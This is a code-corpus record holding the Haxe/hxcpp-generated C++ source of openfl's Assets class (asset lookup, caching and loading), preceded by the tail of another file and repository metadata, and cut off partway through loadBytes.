std::cout << s << std::endl;
}
return 0;
}
| 20.727273 | 58 | 0.370614 | Ashwanigupta9125 |
78d18f73dd6a139fd48edcde91c18e54d4d28be1 | 49,898 | cpp | C++ | bin/windows/cpp/obj/src/openfl/Assets.cpp | DrSkipper/twogames | 916e8af6cd45cf85fbca4a6ea8ee12e24dd6689b | [
"MIT"
] | null | null | null | bin/windows/cpp/obj/src/openfl/Assets.cpp | DrSkipper/twogames | 916e8af6cd45cf85fbca4a6ea8ee12e24dd6689b | [
"MIT"
] | null | null | null | bin/windows/cpp/obj/src/openfl/Assets.cpp | DrSkipper/twogames | 916e8af6cd45cf85fbca4a6ea8ee12e24dd6689b | [
"MIT"
] | null | null | null | #include <hxcpp.h>
#ifndef INCLUDED_DefaultAssetLibrary
#include <DefaultAssetLibrary.h>
#endif
#ifndef INCLUDED_IMap
#include <IMap.h>
#endif
#ifndef INCLUDED_Type
#include <Type.h>
#endif
#ifndef INCLUDED_flash_display_BitmapData
#include <flash/display/BitmapData.h>
#endif
#ifndef INCLUDED_flash_display_DisplayObject
#include <flash/display/DisplayObject.h>
#endif
#ifndef INCLUDED_flash_display_DisplayObjectContainer
#include <flash/display/DisplayObjectContainer.h>
#endif
#ifndef INCLUDED_flash_display_IBitmapDrawable
#include <flash/display/IBitmapDrawable.h>
#endif
#ifndef INCLUDED_flash_display_InteractiveObject
#include <flash/display/InteractiveObject.h>
#endif
#ifndef INCLUDED_flash_display_MovieClip
#include <flash/display/MovieClip.h>
#endif
#ifndef INCLUDED_flash_display_Sprite
#include <flash/display/Sprite.h>
#endif
#ifndef INCLUDED_flash_events_EventDispatcher
#include <flash/events/EventDispatcher.h>
#endif
#ifndef INCLUDED_flash_events_IEventDispatcher
#include <flash/events/IEventDispatcher.h>
#endif
#ifndef INCLUDED_flash_media_Sound
#include <flash/media/Sound.h>
#endif
#ifndef INCLUDED_flash_text_Font
#include <flash/text/Font.h>
#endif
#ifndef INCLUDED_flash_utils_ByteArray
#include <flash/utils/ByteArray.h>
#endif
#ifndef INCLUDED_flash_utils_IDataInput
#include <flash/utils/IDataInput.h>
#endif
#ifndef INCLUDED_flash_utils_IDataOutput
#include <flash/utils/IDataOutput.h>
#endif
#ifndef INCLUDED_haxe_Log
#include <haxe/Log.h>
#endif
#ifndef INCLUDED_haxe_Unserializer
#include <haxe/Unserializer.h>
#endif
#ifndef INCLUDED_haxe_ds_StringMap
#include <haxe/ds/StringMap.h>
#endif
#ifndef INCLUDED_haxe_io_Bytes
#include <haxe/io/Bytes.h>
#endif
#ifndef INCLUDED_openfl_AssetCache
#include <openfl/AssetCache.h>
#endif
#ifndef INCLUDED_openfl_AssetLibrary
#include <openfl/AssetLibrary.h>
#endif
#ifndef INCLUDED_openfl_AssetType
#include <openfl/AssetType.h>
#endif
#ifndef INCLUDED_openfl_Assets
#include <openfl/Assets.h>
#endif
#ifndef INCLUDED_openfl_utils_IMemoryRange
#include <openfl/utils/IMemoryRange.h>
#endif
namespace openfl{
Void Assets_obj::__construct()
{
return null();
}
Assets_obj::~Assets_obj() { }
Dynamic Assets_obj::__CreateEmpty() { return new Assets_obj; }
hx::ObjectPtr< Assets_obj > Assets_obj::__new()
{ hx::ObjectPtr< Assets_obj > result = new Assets_obj();
result->__construct();
return result;}
Dynamic Assets_obj::__Create(hx::DynamicArray inArgs)
{ hx::ObjectPtr< Assets_obj > result = new Assets_obj();
result->__construct();
return result;}
::openfl::AssetCache Assets_obj::cache;
::haxe::ds::StringMap Assets_obj::libraries;
bool Assets_obj::initialized;
bool Assets_obj::exists( ::String id,::openfl::AssetType type){
HX_STACK_PUSH("Assets::exists","openfl/Assets.hx",40);
HX_STACK_ARG(id,"id");
HX_STACK_ARG(type,"type");
HX_STACK_LINE(42)
::openfl::Assets_obj::initialize();
HX_STACK_LINE(46)
if (((type == null()))){
HX_STACK_LINE(46)
type = ::openfl::AssetType_obj::BINARY;
}
HX_STACK_LINE(52)
::String libraryName = id.substring((int)0,id.indexOf(HX_CSTRING(":"),null())); HX_STACK_VAR(libraryName,"libraryName");
HX_STACK_LINE(53)
::String symbolName = id.substr((id.indexOf(HX_CSTRING(":"),null()) + (int)1),null()); HX_STACK_VAR(symbolName,"symbolName");
HX_STACK_LINE(54)
::openfl::AssetLibrary library = ::openfl::Assets_obj::getLibrary(libraryName); HX_STACK_VAR(library,"library");
HX_STACK_LINE(56)
if (((library != null()))){
HX_STACK_LINE(56)
return library->exists(symbolName,type);
}
HX_STACK_LINE(64)
return false;
}
STATIC_HX_DEFINE_DYNAMIC_FUNC2(Assets_obj,exists,return )
::flash::display::BitmapData Assets_obj::getBitmapData( ::String id,hx::Null< bool > __o_useCache){
bool useCache = __o_useCache.Default(true);
HX_STACK_PUSH("Assets::getBitmapData","openfl/Assets.hx",76);
HX_STACK_ARG(id,"id");
HX_STACK_ARG(useCache,"useCache");
{
HX_STACK_LINE(78)
::openfl::Assets_obj::initialize();
HX_STACK_LINE(82)
if (((bool((bool(useCache) && bool(::openfl::Assets_obj::cache->enabled))) && bool(::openfl::Assets_obj::cache->bitmapData->exists(id))))){
HX_STACK_LINE(84)
::flash::display::BitmapData bitmapData = ::openfl::Assets_obj::cache->bitmapData->get(id); HX_STACK_VAR(bitmapData,"bitmapData");
HX_STACK_LINE(86)
if ((::openfl::Assets_obj::isValidBitmapData(bitmapData))){
HX_STACK_LINE(86)
return bitmapData;
}
}
HX_STACK_LINE(94)
::String libraryName = id.substring((int)0,id.indexOf(HX_CSTRING(":"),null())); HX_STACK_VAR(libraryName,"libraryName");
HX_STACK_LINE(95)
::String symbolName = id.substr((id.indexOf(HX_CSTRING(":"),null()) + (int)1),null()); HX_STACK_VAR(symbolName,"symbolName");
HX_STACK_LINE(96)
::openfl::AssetLibrary library = ::openfl::Assets_obj::getLibrary(libraryName); HX_STACK_VAR(library,"library");
HX_STACK_LINE(98)
if (((library != null()))){
HX_STACK_LINE(98)
if ((library->exists(symbolName,::openfl::AssetType_obj::IMAGE))){
HX_STACK_LINE(100)
if ((library->isLocal(symbolName,::openfl::AssetType_obj::IMAGE))){
HX_STACK_LINE(104)
::flash::display::BitmapData bitmapData = library->getBitmapData(symbolName); HX_STACK_VAR(bitmapData,"bitmapData");
HX_STACK_LINE(106)
if (((bool(useCache) && bool(::openfl::Assets_obj::cache->enabled)))){
HX_STACK_LINE(106)
::openfl::Assets_obj::cache->bitmapData->set(id,bitmapData);
}
HX_STACK_LINE(112)
return bitmapData;
}
else{
HX_STACK_LINE(114)
::haxe::Log_obj::trace(((HX_CSTRING("[openfl.Assets] BitmapData asset \"") + id) + HX_CSTRING("\" exists, but only asynchronously")),hx::SourceInfo(HX_CSTRING("Assets.hx"),116,HX_CSTRING("openfl.Assets"),HX_CSTRING("getBitmapData")));
}
}
else{
HX_STACK_LINE(120)
::haxe::Log_obj::trace(((HX_CSTRING("[openfl.Assets] There is no BitmapData asset with an ID of \"") + id) + HX_CSTRING("\"")),hx::SourceInfo(HX_CSTRING("Assets.hx"),122,HX_CSTRING("openfl.Assets"),HX_CSTRING("getBitmapData")));
}
}
else{
HX_STACK_LINE(126)
::haxe::Log_obj::trace(((HX_CSTRING("[openfl.Assets] There is no asset library named \"") + libraryName) + HX_CSTRING("\"")),hx::SourceInfo(HX_CSTRING("Assets.hx"),128,HX_CSTRING("openfl.Assets"),HX_CSTRING("getBitmapData")));
}
HX_STACK_LINE(134)
return null();
}
}
STATIC_HX_DEFINE_DYNAMIC_FUNC2(Assets_obj,getBitmapData,return )
::flash::utils::ByteArray Assets_obj::getBytes( ::String id){
HX_STACK_PUSH("Assets::getBytes","openfl/Assets.hx",145);
HX_STACK_ARG(id,"id");
HX_STACK_LINE(147)
::openfl::Assets_obj::initialize();
HX_STACK_LINE(151)
::String libraryName = id.substring((int)0,id.indexOf(HX_CSTRING(":"),null())); HX_STACK_VAR(libraryName,"libraryName");
HX_STACK_LINE(152)
::String symbolName = id.substr((id.indexOf(HX_CSTRING(":"),null()) + (int)1),null()); HX_STACK_VAR(symbolName,"symbolName");
HX_STACK_LINE(153)
::openfl::AssetLibrary library = ::openfl::Assets_obj::getLibrary(libraryName); HX_STACK_VAR(library,"library");
HX_STACK_LINE(155)
if (((library != null()))){
HX_STACK_LINE(155)
if ((library->exists(symbolName,::openfl::AssetType_obj::BINARY))){
HX_STACK_LINE(157)
if ((library->isLocal(symbolName,::openfl::AssetType_obj::BINARY))){
HX_STACK_LINE(159)
return library->getBytes(symbolName);
}
else{
HX_STACK_LINE(163)
::haxe::Log_obj::trace(((HX_CSTRING("[openfl.Assets] String or ByteArray asset \"") + id) + HX_CSTRING("\" exists, but only asynchronously")),hx::SourceInfo(HX_CSTRING("Assets.hx"),165,HX_CSTRING("openfl.Assets"),HX_CSTRING("getBytes")));
}
}
else{
HX_STACK_LINE(169)
::haxe::Log_obj::trace(((HX_CSTRING("[openfl.Assets] There is no String or ByteArray asset with an ID of \"") + id) + HX_CSTRING("\"")),hx::SourceInfo(HX_CSTRING("Assets.hx"),171,HX_CSTRING("openfl.Assets"),HX_CSTRING("getBytes")));
}
}
else{
HX_STACK_LINE(175)
::haxe::Log_obj::trace(((HX_CSTRING("[openfl.Assets] There is no asset library named \"") + libraryName) + HX_CSTRING("\"")),hx::SourceInfo(HX_CSTRING("Assets.hx"),177,HX_CSTRING("openfl.Assets"),HX_CSTRING("getBytes")));
}
HX_STACK_LINE(183)
return null();
}
STATIC_HX_DEFINE_DYNAMIC_FUNC1(Assets_obj,getBytes,return )
::flash::text::Font Assets_obj::getFont( ::String id,hx::Null< bool > __o_useCache){
bool useCache = __o_useCache.Default(true);
HX_STACK_PUSH("Assets::getFont","openfl/Assets.hx",194);
HX_STACK_ARG(id,"id");
HX_STACK_ARG(useCache,"useCache");
{
HX_STACK_LINE(196)
::openfl::Assets_obj::initialize();
HX_STACK_LINE(200)
if (((bool((bool(useCache) && bool(::openfl::Assets_obj::cache->enabled))) && bool(::openfl::Assets_obj::cache->font->exists(id))))){
HX_STACK_LINE(200)
return ::openfl::Assets_obj::cache->font->get(id);
}
HX_STACK_LINE(206)
::String libraryName = id.substring((int)0,id.indexOf(HX_CSTRING(":"),null())); HX_STACK_VAR(libraryName,"libraryName");
HX_STACK_LINE(207)
::String symbolName = id.substr((id.indexOf(HX_CSTRING(":"),null()) + (int)1),null()); HX_STACK_VAR(symbolName,"symbolName");
HX_STACK_LINE(208)
::openfl::AssetLibrary library = ::openfl::Assets_obj::getLibrary(libraryName); HX_STACK_VAR(library,"library");
HX_STACK_LINE(210)
if (((library != null()))){
HX_STACK_LINE(210)
if ((library->exists(symbolName,::openfl::AssetType_obj::FONT))){
HX_STACK_LINE(212)
if ((library->isLocal(symbolName,::openfl::AssetType_obj::FONT))){
HX_STACK_LINE(216)
::flash::text::Font font = library->getFont(symbolName); HX_STACK_VAR(font,"font");
HX_STACK_LINE(218)
if (((bool(useCache) && bool(::openfl::Assets_obj::cache->enabled)))){
HX_STACK_LINE(218)
::openfl::Assets_obj::cache->font->set(id,font);
}
HX_STACK_LINE(224)
return font;
}
else{
HX_STACK_LINE(226)
::haxe::Log_obj::trace(((HX_CSTRING("[openfl.Assets] Font asset \"") + id) + HX_CSTRING("\" exists, but only asynchronously")),hx::SourceInfo(HX_CSTRING("Assets.hx"),228,HX_CSTRING("openfl.Assets"),HX_CSTRING("getFont")));
}
}
else{
HX_STACK_LINE(232)
::haxe::Log_obj::trace(((HX_CSTRING("[openfl.Assets] There is no Font asset with an ID of \"") + id) + HX_CSTRING("\"")),hx::SourceInfo(HX_CSTRING("Assets.hx"),234,HX_CSTRING("openfl.Assets"),HX_CSTRING("getFont")));
}
}
else{
HX_STACK_LINE(238)
::haxe::Log_obj::trace(((HX_CSTRING("[openfl.Assets] There is no asset library named \"") + libraryName) + HX_CSTRING("\"")),hx::SourceInfo(HX_CSTRING("Assets.hx"),240,HX_CSTRING("openfl.Assets"),HX_CSTRING("getFont")));
}
HX_STACK_LINE(246)
return null();
}
}
STATIC_HX_DEFINE_DYNAMIC_FUNC2(Assets_obj,getFont,return )
::openfl::AssetLibrary Assets_obj::getLibrary( ::String name){
HX_STACK_PUSH("Assets::getLibrary","openfl/Assets.hx",251);
HX_STACK_ARG(name,"name");
HX_STACK_LINE(253)
if (((bool((name == null())) || bool((name == HX_CSTRING("")))))){
HX_STACK_LINE(253)
name = HX_CSTRING("default");
}
HX_STACK_LINE(259)
return ::openfl::Assets_obj::libraries->get(name);
}
STATIC_HX_DEFINE_DYNAMIC_FUNC1(Assets_obj,getLibrary,return )
::flash::display::MovieClip Assets_obj::getMovieClip( ::String id){
HX_STACK_PUSH("Assets::getMovieClip","openfl/Assets.hx",270);
HX_STACK_ARG(id,"id");
HX_STACK_LINE(272)
::openfl::Assets_obj::initialize();
HX_STACK_LINE(276)
::String libraryName = id.substring((int)0,id.indexOf(HX_CSTRING(":"),null())); HX_STACK_VAR(libraryName,"libraryName");
HX_STACK_LINE(277)
::String symbolName = id.substr((id.indexOf(HX_CSTRING(":"),null()) + (int)1),null()); HX_STACK_VAR(symbolName,"symbolName");
HX_STACK_LINE(278)
::openfl::AssetLibrary library = ::openfl::Assets_obj::getLibrary(libraryName); HX_STACK_VAR(library,"library");
HX_STACK_LINE(280)
if (((library != null()))){
HX_STACK_LINE(280)
if ((library->exists(symbolName,::openfl::AssetType_obj::MOVIE_CLIP))){
HX_STACK_LINE(282)
if ((library->isLocal(symbolName,::openfl::AssetType_obj::MOVIE_CLIP))){
HX_STACK_LINE(284)
return library->getMovieClip(symbolName);
}
else{
HX_STACK_LINE(288)
::haxe::Log_obj::trace(((HX_CSTRING("[openfl.Assets] MovieClip asset \"") + id) + HX_CSTRING("\" exists, but only asynchronously")),hx::SourceInfo(HX_CSTRING("Assets.hx"),290,HX_CSTRING("openfl.Assets"),HX_CSTRING("getMovieClip")));
}
}
else{
HX_STACK_LINE(294)
::haxe::Log_obj::trace(((HX_CSTRING("[openfl.Assets] There is no MovieClip asset with an ID of \"") + id) + HX_CSTRING("\"")),hx::SourceInfo(HX_CSTRING("Assets.hx"),296,HX_CSTRING("openfl.Assets"),HX_CSTRING("getMovieClip")));
}
}
else{
HX_STACK_LINE(300)
::haxe::Log_obj::trace(((HX_CSTRING("[openfl.Assets] There is no asset library named \"") + libraryName) + HX_CSTRING("\"")),hx::SourceInfo(HX_CSTRING("Assets.hx"),302,HX_CSTRING("openfl.Assets"),HX_CSTRING("getMovieClip")));
}
HX_STACK_LINE(308)
return null();
}
STATIC_HX_DEFINE_DYNAMIC_FUNC1(Assets_obj,getMovieClip,return )
::flash::media::Sound Assets_obj::getMusic( ::String id,hx::Null< bool > __o_useCache){
bool useCache = __o_useCache.Default(true);
HX_STACK_PUSH("Assets::getMusic","openfl/Assets.hx",319);
HX_STACK_ARG(id,"id");
HX_STACK_ARG(useCache,"useCache");
{
HX_STACK_LINE(321)
::openfl::Assets_obj::initialize();
HX_STACK_LINE(325)
if (((bool((bool(useCache) && bool(::openfl::Assets_obj::cache->enabled))) && bool(::openfl::Assets_obj::cache->sound->exists(id))))){
HX_STACK_LINE(327)
::flash::media::Sound sound = ::openfl::Assets_obj::cache->sound->get(id); HX_STACK_VAR(sound,"sound");
HX_STACK_LINE(329)
if ((::openfl::Assets_obj::isValidSound(sound))){
HX_STACK_LINE(329)
return sound;
}
}
HX_STACK_LINE(337)
::String libraryName = id.substring((int)0,id.indexOf(HX_CSTRING(":"),null())); HX_STACK_VAR(libraryName,"libraryName");
HX_STACK_LINE(338)
::String symbolName = id.substr((id.indexOf(HX_CSTRING(":"),null()) + (int)1),null()); HX_STACK_VAR(symbolName,"symbolName");
HX_STACK_LINE(339)
::openfl::AssetLibrary library = ::openfl::Assets_obj::getLibrary(libraryName); HX_STACK_VAR(library,"library");
HX_STACK_LINE(341)
if (((library != null()))){
HX_STACK_LINE(341)
if ((library->exists(symbolName,::openfl::AssetType_obj::MUSIC))){
HX_STACK_LINE(343)
if ((library->isLocal(symbolName,::openfl::AssetType_obj::MUSIC))){
HX_STACK_LINE(347)
::flash::media::Sound sound = library->getMusic(symbolName); HX_STACK_VAR(sound,"sound");
HX_STACK_LINE(349)
if (((bool(useCache) && bool(::openfl::Assets_obj::cache->enabled)))){
HX_STACK_LINE(349)
::openfl::Assets_obj::cache->sound->set(id,sound);
}
HX_STACK_LINE(355)
return sound;
}
else{
HX_STACK_LINE(357)
::haxe::Log_obj::trace(((HX_CSTRING("[openfl.Assets] Sound asset \"") + id) + HX_CSTRING("\" exists, but only asynchronously")),hx::SourceInfo(HX_CSTRING("Assets.hx"),359,HX_CSTRING("openfl.Assets"),HX_CSTRING("getMusic")));
}
}
else{
HX_STACK_LINE(363)
::haxe::Log_obj::trace(((HX_CSTRING("[openfl.Assets] There is no Sound asset with an ID of \"") + id) + HX_CSTRING("\"")),hx::SourceInfo(HX_CSTRING("Assets.hx"),365,HX_CSTRING("openfl.Assets"),HX_CSTRING("getMusic")));
}
}
else{
HX_STACK_LINE(369)
::haxe::Log_obj::trace(((HX_CSTRING("[openfl.Assets] There is no asset library named \"") + libraryName) + HX_CSTRING("\"")),hx::SourceInfo(HX_CSTRING("Assets.hx"),371,HX_CSTRING("openfl.Assets"),HX_CSTRING("getMusic")));
}
HX_STACK_LINE(377)
return null();
}
}
STATIC_HX_DEFINE_DYNAMIC_FUNC2(Assets_obj,getMusic,return )
::String Assets_obj::getPath( ::String id){
HX_STACK_PUSH("Assets::getPath","openfl/Assets.hx",388);
HX_STACK_ARG(id,"id");
HX_STACK_LINE(390)
::openfl::Assets_obj::initialize();
HX_STACK_LINE(394)
::String libraryName = id.substring((int)0,id.indexOf(HX_CSTRING(":"),null())); HX_STACK_VAR(libraryName,"libraryName");
HX_STACK_LINE(395)
::String symbolName = id.substr((id.indexOf(HX_CSTRING(":"),null()) + (int)1),null()); HX_STACK_VAR(symbolName,"symbolName");
HX_STACK_LINE(396)
::openfl::AssetLibrary library = ::openfl::Assets_obj::getLibrary(libraryName); HX_STACK_VAR(library,"library");
HX_STACK_LINE(398)
if (((library != null()))){
HX_STACK_LINE(398)
if ((library->exists(symbolName,null()))){
HX_STACK_LINE(400)
return library->getPath(symbolName);
}
else{
HX_STACK_LINE(404)
::haxe::Log_obj::trace(((HX_CSTRING("[openfl.Assets] There is no asset with an ID of \"") + id) + HX_CSTRING("\"")),hx::SourceInfo(HX_CSTRING("Assets.hx"),406,HX_CSTRING("openfl.Assets"),HX_CSTRING("getPath")));
}
}
else{
HX_STACK_LINE(410)
::haxe::Log_obj::trace(((HX_CSTRING("[openfl.Assets] There is no asset library named \"") + libraryName) + HX_CSTRING("\"")),hx::SourceInfo(HX_CSTRING("Assets.hx"),412,HX_CSTRING("openfl.Assets"),HX_CSTRING("getPath")));
}
HX_STACK_LINE(418)
return null();
}
STATIC_HX_DEFINE_DYNAMIC_FUNC1(Assets_obj,getPath,return )
::flash::media::Sound Assets_obj::getSound( ::String id,hx::Null< bool > __o_useCache){
bool useCache = __o_useCache.Default(true);
HX_STACK_PUSH("Assets::getSound","openfl/Assets.hx",429);
HX_STACK_ARG(id,"id");
HX_STACK_ARG(useCache,"useCache");
{
HX_STACK_LINE(431)
::openfl::Assets_obj::initialize();
HX_STACK_LINE(435)
if (((bool((bool(useCache) && bool(::openfl::Assets_obj::cache->enabled))) && bool(::openfl::Assets_obj::cache->sound->exists(id))))){
HX_STACK_LINE(437)
::flash::media::Sound sound = ::openfl::Assets_obj::cache->sound->get(id); HX_STACK_VAR(sound,"sound");
HX_STACK_LINE(439)
if ((::openfl::Assets_obj::isValidSound(sound))){
HX_STACK_LINE(439)
return sound;
}
}
HX_STACK_LINE(447)
::String libraryName = id.substring((int)0,id.indexOf(HX_CSTRING(":"),null())); HX_STACK_VAR(libraryName,"libraryName");
HX_STACK_LINE(448)
::String symbolName = id.substr((id.indexOf(HX_CSTRING(":"),null()) + (int)1),null()); HX_STACK_VAR(symbolName,"symbolName");
HX_STACK_LINE(449)
::openfl::AssetLibrary library = ::openfl::Assets_obj::getLibrary(libraryName); HX_STACK_VAR(library,"library");
HX_STACK_LINE(451)
if (((library != null()))){
HX_STACK_LINE(451)
if ((library->exists(symbolName,::openfl::AssetType_obj::SOUND))){
HX_STACK_LINE(453)
if ((library->isLocal(symbolName,::openfl::AssetType_obj::SOUND))){
HX_STACK_LINE(457)
::flash::media::Sound sound = library->getSound(symbolName); HX_STACK_VAR(sound,"sound");
HX_STACK_LINE(459)
if (((bool(useCache) && bool(::openfl::Assets_obj::cache->enabled)))){
HX_STACK_LINE(459)
::openfl::Assets_obj::cache->sound->set(id,sound);
}
HX_STACK_LINE(465)
return sound;
}
else{
HX_STACK_LINE(467)
::haxe::Log_obj::trace(((HX_CSTRING("[openfl.Assets] Sound asset \"") + id) + HX_CSTRING("\" exists, but only asynchronously")),hx::SourceInfo(HX_CSTRING("Assets.hx"),469,HX_CSTRING("openfl.Assets"),HX_CSTRING("getSound")));
}
}
else{
HX_STACK_LINE(473)
::haxe::Log_obj::trace(((HX_CSTRING("[openfl.Assets] There is no Sound asset with an ID of \"") + id) + HX_CSTRING("\"")),hx::SourceInfo(HX_CSTRING("Assets.hx"),475,HX_CSTRING("openfl.Assets"),HX_CSTRING("getSound")));
}
}
else{
HX_STACK_LINE(479)
::haxe::Log_obj::trace(((HX_CSTRING("[openfl.Assets] There is no asset library named \"") + libraryName) + HX_CSTRING("\"")),hx::SourceInfo(HX_CSTRING("Assets.hx"),481,HX_CSTRING("openfl.Assets"),HX_CSTRING("getSound")));
}
HX_STACK_LINE(487)
return null();
}
}
STATIC_HX_DEFINE_DYNAMIC_FUNC2(Assets_obj,getSound,return )
::String Assets_obj::getText( ::String id){
HX_STACK_PUSH("Assets::getText","openfl/Assets.hx",498);
HX_STACK_ARG(id,"id");
HX_STACK_LINE(500)
::flash::utils::ByteArray bytes = ::openfl::Assets_obj::getBytes(id); HX_STACK_VAR(bytes,"bytes");
HX_STACK_LINE(502)
if (((bytes == null()))){
HX_STACK_LINE(502)
return null();
}
else{
HX_STACK_LINE(506)
return bytes->readUTFBytes(bytes->length);
}
HX_STACK_LINE(502)
return null();
}
STATIC_HX_DEFINE_DYNAMIC_FUNC1(Assets_obj,getText,return )
Void Assets_obj::initialize( ){
{
HX_STACK_PUSH("Assets::initialize","openfl/Assets.hx",515);
HX_STACK_LINE(515)
if ((!(::openfl::Assets_obj::initialized))){
HX_STACK_LINE(521)
::openfl::Assets_obj::registerLibrary(HX_CSTRING("default"),::DefaultAssetLibrary_obj::__new());
HX_STACK_LINE(525)
::openfl::Assets_obj::initialized = true;
}
}
return null();
}
STATIC_HX_DEFINE_DYNAMIC_FUNC0(Assets_obj,initialize,(void))
bool Assets_obj::isLocal( ::String id,::openfl::AssetType type,hx::Null< bool > __o_useCache){
bool useCache = __o_useCache.Default(true);
HX_STACK_PUSH("Assets::isLocal","openfl/Assets.hx",532);
HX_STACK_ARG(id,"id");
HX_STACK_ARG(type,"type");
HX_STACK_ARG(useCache,"useCache");
{
HX_STACK_LINE(534)
::openfl::Assets_obj::initialize();
HX_STACK_LINE(538)
if (((bool(useCache) && bool(::openfl::Assets_obj::cache->enabled)))){
HX_STACK_LINE(540)
if (((bool((type == ::openfl::AssetType_obj::IMAGE)) || bool((type == null()))))){
HX_STACK_LINE(540)
if ((::openfl::Assets_obj::cache->bitmapData->exists(id))){
HX_STACK_LINE(542)
return true;
}
}
HX_STACK_LINE(546)
if (((bool((type == ::openfl::AssetType_obj::FONT)) || bool((type == null()))))){
HX_STACK_LINE(546)
if ((::openfl::Assets_obj::cache->font->exists(id))){
HX_STACK_LINE(548)
return true;
}
}
HX_STACK_LINE(552)
if (((bool((bool((type == ::openfl::AssetType_obj::SOUND)) || bool((type == ::openfl::AssetType_obj::MUSIC)))) || bool((type == null()))))){
HX_STACK_LINE(552)
if ((::openfl::Assets_obj::cache->sound->exists(id))){
HX_STACK_LINE(554)
return true;
}
}
}
HX_STACK_LINE(560)
::String libraryName = id.substring((int)0,id.indexOf(HX_CSTRING(":"),null())); HX_STACK_VAR(libraryName,"libraryName");
HX_STACK_LINE(561)
::String symbolName = id.substr((id.indexOf(HX_CSTRING(":"),null()) + (int)1),null()); HX_STACK_VAR(symbolName,"symbolName");
HX_STACK_LINE(562)
::openfl::AssetLibrary library = ::openfl::Assets_obj::getLibrary(libraryName); HX_STACK_VAR(library,"library");
HX_STACK_LINE(564)
if (((library != null()))){
HX_STACK_LINE(564)
return library->isLocal(symbolName,type);
}
HX_STACK_LINE(572)
return false;
}
}
STATIC_HX_DEFINE_DYNAMIC_FUNC3(Assets_obj,isLocal,return )
bool Assets_obj::isValidBitmapData( ::flash::display::BitmapData bitmapData){
HX_STACK_PUSH("Assets::isValidBitmapData","openfl/Assets.hx",577);
HX_STACK_ARG(bitmapData,"bitmapData");
HX_STACK_LINE(581)
return (bitmapData->__handle != null());
HX_STACK_LINE(597)
return true;
}
STATIC_HX_DEFINE_DYNAMIC_FUNC1(Assets_obj,isValidBitmapData,return )
bool Assets_obj::isValidSound( ::flash::media::Sound sound){
HX_STACK_PUSH("Assets::isValidSound","openfl/Assets.hx",602);
HX_STACK_ARG(sound,"sound");
HX_STACK_LINE(602)
return (bool((sound->__handle != null())) && bool((sound->__handle != (int)0)));
}
STATIC_HX_DEFINE_DYNAMIC_FUNC1(Assets_obj,isValidSound,return )
Void Assets_obj::loadBitmapData( ::String id,Dynamic handler,hx::Null< bool > __o_useCache){
bool useCache = __o_useCache.Default(true);
HX_STACK_PUSH("Assets::loadBitmapData","openfl/Assets.hx",617);
HX_STACK_ARG(id,"id");
HX_STACK_ARG(handler,"handler");
HX_STACK_ARG(useCache,"useCache");
{
HX_STACK_LINE(617)
Dynamic handler1 = Dynamic( Array_obj<Dynamic>::__new().Add(handler)); HX_STACK_VAR(handler1,"handler1");
HX_STACK_LINE(617)
Array< ::String > id1 = Array_obj< ::String >::__new().Add(id); HX_STACK_VAR(id1,"id1");
HX_STACK_LINE(619)
::openfl::Assets_obj::initialize();
HX_STACK_LINE(623)
if (((bool((bool(useCache) && bool(::openfl::Assets_obj::cache->enabled))) && bool(::openfl::Assets_obj::cache->bitmapData->exists(id1->__get((int)0)))))){
HX_STACK_LINE(625)
::flash::display::BitmapData bitmapData = ::openfl::Assets_obj::cache->bitmapData->get(id1->__get((int)0)); HX_STACK_VAR(bitmapData,"bitmapData");
HX_STACK_LINE(627)
if ((::openfl::Assets_obj::isValidBitmapData(bitmapData))){
HX_STACK_LINE(629)
handler1->__GetItem((int)0)(bitmapData).Cast< Void >();
HX_STACK_LINE(630)
return null();
}
}
HX_STACK_LINE(636)
::String libraryName = id1->__get((int)0).substring((int)0,id1->__get((int)0).indexOf(HX_CSTRING(":"),null())); HX_STACK_VAR(libraryName,"libraryName");
HX_STACK_LINE(637)
::String symbolName = id1->__get((int)0).substr((id1->__get((int)0).indexOf(HX_CSTRING(":"),null()) + (int)1),null()); HX_STACK_VAR(symbolName,"symbolName");
HX_STACK_LINE(638)
::openfl::AssetLibrary library = ::openfl::Assets_obj::getLibrary(libraryName); HX_STACK_VAR(library,"library");
HX_STACK_LINE(640)
if (((library != null()))){
HX_STACK_LINE(640)
if ((library->exists(symbolName,::openfl::AssetType_obj::IMAGE))){
HX_STACK_LINE(644)
if (((bool(useCache) && bool(::openfl::Assets_obj::cache->enabled)))){
HX_BEGIN_LOCAL_FUNC_S2(hx::LocalFunc,_Function_4_1,Array< ::String >,id1,Dynamic,handler1)
Void run(::flash::display::BitmapData bitmapData){
HX_STACK_PUSH("*::_Function_4_1","openfl/Assets.hx",646);
HX_STACK_ARG(bitmapData,"bitmapData");
{
HX_STACK_LINE(648)
::openfl::Assets_obj::cache->bitmapData->set(id1->__get((int)0),bitmapData);
HX_STACK_LINE(649)
handler1->__GetItem((int)0)(bitmapData).Cast< Void >();
}
return null();
}
HX_END_LOCAL_FUNC1((void))
HX_STACK_LINE(644)
library->loadBitmapData(symbolName, Dynamic(new _Function_4_1(id1,handler1)));
}
else{
HX_STACK_LINE(653)
library->loadBitmapData(symbolName,handler1->__GetItem((int)0));
}
HX_STACK_LINE(659)
return null();
}
else{
HX_STACK_LINE(661)
::haxe::Log_obj::trace(((HX_CSTRING("[openfl.Assets] There is no BitmapData asset with an ID of \"") + id1->__get((int)0)) + HX_CSTRING("\"")),hx::SourceInfo(HX_CSTRING("Assets.hx"),663,HX_CSTRING("openfl.Assets"),HX_CSTRING("loadBitmapData")));
}
}
else{
HX_STACK_LINE(667)
::haxe::Log_obj::trace(((HX_CSTRING("[openfl.Assets] There is no asset library named \"") + libraryName) + HX_CSTRING("\"")),hx::SourceInfo(HX_CSTRING("Assets.hx"),669,HX_CSTRING("openfl.Assets"),HX_CSTRING("loadBitmapData")));
}
HX_STACK_LINE(675)
handler1->__GetItem((int)0)(null()).Cast< Void >();
}
return null();
}
STATIC_HX_DEFINE_DYNAMIC_FUNC3(Assets_obj,loadBitmapData,(void))
Void Assets_obj::loadBytes( ::String id,Dynamic handler){
{
HX_STACK_PUSH("Assets::loadBytes","openfl/Assets.hx",680);
HX_STACK_ARG(id,"id");
HX_STACK_ARG(handler,"handler");
HX_STACK_LINE(682)
::openfl::Assets_obj::initialize();
HX_STACK_LINE(686)
::String libraryName = id.substring((int)0,id.indexOf(HX_CSTRING(":"),null())); HX_STACK_VAR(libraryName,"libraryName");
HX_STACK_LINE(687)
::String symbolName = id.substr((id.indexOf(HX_CSTRING(":"),null()) + (int)1),null()); HX_STACK_VAR(symbolName,"symbolName");
HX_STACK_LINE(688)
::openfl::AssetLibrary library = ::openfl::Assets_obj::getLibrary(libraryName); HX_STACK_VAR(library,"library");
HX_STACK_LINE(690)
if (((library != null()))){
